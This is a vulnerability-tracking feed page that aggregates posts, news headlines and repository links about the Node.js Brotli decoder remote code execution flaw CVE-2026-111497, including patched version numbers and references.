    Top 3 CVE for last 7 days: CVE-2026-109618: 1053 interactions CVE-2026-109619: 813 interactions CVE-2026-110264: 238 interactions Top 3 CVE for yesterday: CVE-2026-109618: 304 interactions CVE-2026-109619: 226 interactions CVE-2026-111497:…
    Open source
  • social bsky.app @shopergamer.bsky.social 2026-10-23 06:01 UTC
    Node.js พบช่องโหว่ร้ายแรง Brotli Decoder RCE (CVE-2026-111497) กระทบ 22.x/24.x/26.x #ShoperGamer #NodeJs #Runtime #CyberSecurity #Security #Feed
    Open source
  • news rescana.com 2026-10-23 06:00 UTC
    Node2Shell: Node.js Brotli Flaw CVE-2026-111497 Can Allow Remote Code Execution, Upgrade to 22.23.4, 24.22.1 or 26.12.1 - Rescana
    Open source
  • code github.com CodeDotJS 2026-10-23 04:40 UTC
    CodeDotJS/pwn.pied
    Open source
  • code github.com Saturate 2026-10-23 04:29 UTC
    Saturate/CVE-2026-111497
    Open source
  • social bsky.app @opsmatters.com 2026-10-23 03:50 UTC
    The latest update for #AikidoSecurity includes "Node2Shell: #Nodejs Brotli vulnerability allows remote code execution (CVE-2026-111497)" and "LiteLLM compromised again: infostealer and RAT found in version 1.107.0". #Cybersecurity #AppSec…
    Open source
  • code github.com duytien241 2026-10-23 02:14 UTC
    duytien241/nodejs-CVE-2026-111497
    Open source
  • social news.ycombinator.com Fordec 2026-10-23 00:54 UTC
    Node2Shell: Node.js Brotli vulnerability allows remote code execution
    Open source
  • code gist.github.com alanhoff 2026-10-23 00:47 UTC
    { "name": "cve-2026-111497-check", "description": "Safe trigger for detecting CVE-2026-111497 vulnerability", "version": "0.1.0", "bin": "./cve-2026-111497-check.mjs" }
    Open source
  • code github.com Charlie-Netdevops 2026-10-23 00:45 UTC
    Charlie-Netdevops/node-hostcheck
    Open source
  • social bsky.app @cybersecurity.page 2026-10-23 00:42 UTC
    Another runtime headache. A remote code execution vulnerability (CVE-2026-111497) affects the Brotli implementation in Node.js, following a similar flaw seen in PHP runtimes.
    Open source
  • social bsky.app @topiatsume.bsky.social 2026-10-23 00:18 UTC
    💻 Node.jsがセキュリティアップデートで「22.23.4」「24.22.1」「26.12.1」配信、全体で10件の脆弱性を修正 Node.jsは10月21日にセキュリティアップデートを公開し、脆弱性10件を修正した。 ・高深刻度のCVE-2026-111497はリモートコード実行のリスク ・x・24.x・22.xの全バージョンに影響する脆弱性も 📰 3媒体が報道: 窓の杜・Qiita・GIGAZINE ▶ 各社の報道を比べる topiatsume.pages.dev/…
    Open source
  • social bsky.app @dailyzenntrends.bsky.social 2026-10-22 23:57 UTC
    今日のZennトレンド Node.jsの2026年10月セキュリティリリースに、手元の50リポジトリとVercel・Cloud Runで対応した 2026年10月のNode.jsセキュリティリリースに伴い、50件のリポジトリとVercelやCloud Run等の環境で更新を行った記録です。 Vercelの設定挙動やイメージの再作成、Claude Codeによる一括修正時の注意点、Prismaのビルドキャッシュ問題など、大規模な更新作業で直面した具体的な課題とその解決策をまと…
    Open source
  • social bsky.app @vulnsea.com 2026-10-22 22:44 UTC
    🌊 ABYSSAL · critical with a public exploit CVE-2026-111497: Out-of-Bounds Write in Google Brotli Decoder CVSS 9.2 https://beta.vulnsea.com/cve/CVE-2026-111497 #CVE #infosec #cybersecurity #threatintel
    Open source
  • news ox.security 2026-10-22 22:41 UTC
    Node.js Brotli Decoder Out-of-Bounds Write (RCE) – CVE-2026-111497 - OX Security
    Open source
  • news pasqualepillitteri.it 2026-10-22 21:19 UTC
    Node.js patches 10 vulnerabilities, including a Brotli flaw Codex found - Pasquale Pillitteri
    Open source
  • social bsky.app @nightshade.technology 2026-10-22 21:09 UTC
    CVE-2026-111497 unauthenticated RCE in Node.js (brotli decoder flaw). PATCHES ARE AVAILABLE; PATCH ASAP! apps that do not decode brotli payloads are not affected, but Express's stock config does, which is enough to trigger the bug. www.imp…
    Open source
  • news aikido.dev 2026-10-22 19:47 UTC
    Node2Shell: Node.js Brotli vulnerability allows remote code execution (CVE-2026-111497) and the fix - Aikido Security
    Open source
  • code github.com ikow 2026-10-22 19:40 UTC
    ikow/brotli2crash
    Open source
  • social mastodon.social @secpoint 2026-10-22 19:34 UTC
    Is your Node.js application vulnerable to CVE-2026-111497? A newly disclosed High-severity vulnerability in the Node.js Brotli decoder could allow remote code execution when attacker-controlled compressed data reaches the affected componen…
    Open source
  • social bsky.app @secpoint.bsky.social 2026-10-22 19:26 UTC
    Is your Node.js application vulnerable to CVE-2026-111497? Request a SecPoint Penetrator demonstration: www.secpoint.com/contact-me.php **Become a SecPoint partner:** www.secpoint.com/partner-sign... #NodeJS #CVE2026111497 #SecPointPenetra…
    Open source
  • social bsky.app @threatroundup.bsky.social 2026-10-22 17:58 UTC
    Node.js fixed a Brotli decoder bug (CVE-2026-111497) it says could allow remote code execution on all supported lines. A PoC only got RCE on a weakened build, per The Hacker News. Upgrade to 22.23.4, 24.22.1 or 26.12.1. threatroundup.com/n…
    Open source
  • code gist.github.com iamkunal9 2026-10-22 16:47 UTC
    You are auditing this repository **and this machine** for three issues from October 2026. Report findings and propose a diff. **Do not commit**, **do not run fix commands**, and **do not do major-version bumps** without asking me first. ##…
    Open source

References (2)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2026-111497
nodejs.org
GitHub CVE patch
https://nodejs.org/en/blog/vulnerability/october-2026-security-releases#nodejs-brotli-decoder-out-of-bounds-write-permits-remote-code-execution-cve-2026-111497---high